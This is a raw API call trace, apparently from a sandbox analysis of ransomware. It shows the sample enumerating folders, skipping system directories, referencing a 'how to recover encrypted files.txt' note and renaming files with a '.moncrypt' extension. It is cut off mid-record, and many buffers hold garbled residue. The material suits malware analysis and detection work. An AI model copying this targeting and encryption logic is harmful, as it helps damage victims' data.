lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RÀ") returned 6 [0046.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0046.198] GetLastError () returned 0x2 [0046.198] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@衴T企@\x18?T\x18\x81")) returned 0xffffffff [0046.200] GetLastError () returned 0x2 [0046.200] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0046.202] GetLastError () returned 0x2 [0046.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.203] GetLastError () returned 0x2 [0046.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@衴T企@\x18?T\x18\x97")) returned 0xffffffff [0046.205] GetLastError () returned 0x2 [0046.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.205] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.205] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.205] GlobalUnlock (hMem=0x44000c) returned 0 [0046.206] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.206] GlobalLock (hMem=0x440004) returned 0x553188 [0046.206] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.206] GlobalUnlock (hMem=0x44000c) returned 0 [0046.206] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.206] GlobalUnlock (hMem=0x440004) returned 0 [0046.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.206] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.206] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.206] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.207] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.207] GlobalLock (hMem=0x440004) returned 0x551178 [0046.207] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.207] GlobalUnlock (hMem=0x440004) returned 0 [0046.207] GlobalLock (hMem=0x440004) returned 0x551178 [0046.207] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.207] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.207] GlobalUnlock (hMem=0x440004) returned 0 [0046.207] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.207] GlobalUnlock (hMem=0x44000c) returned 0 [0046.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.209] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.209] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.209] GlobalUnlock (hMem=0x44000c) returned 0 [0046.209] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.209] GlobalLock (hMem=0x440004) returned 0x553188 [0046.209] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.209] GlobalUnlock (hMem=0x44000c) returned 0 [0046.209] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.209] GlobalUnlock (hMem=0x440004) returned 0 [0046.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.210] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.210] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0046.210] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0046.210] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.210] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.210] GlobalLock (hMem=0x440004) returned 0x552180 [0046.210] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.210] GlobalUnlock (hMem=0x440004) returned 0 [0046.210] GlobalLock (hMem=0x440004) returned 0x552180 [0046.211] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.211] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.211] GlobalUnlock (hMem=0x440004) returned 0 [0046.211] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.211] GlobalUnlock (hMem=0x44000c) returned 0 [0046.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.211] CharLowerBuffW (in: lpsz="auxpad.xml", cchLength=0xa | out: lpsz="auxpad.xml") returned 0xa [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 75 [0046.211] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 4 [0046.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0046.212] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0046.213] CloseHandle (hObject=0x18c) returned 1 [0046.213] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\я")) returned 1 [0046.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 0x54e240 [0046.214] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.214] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.214] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", dwFileAttributes=0x20) returned 0 [0046.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.moncrypt")) returned 0 [0046.226] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 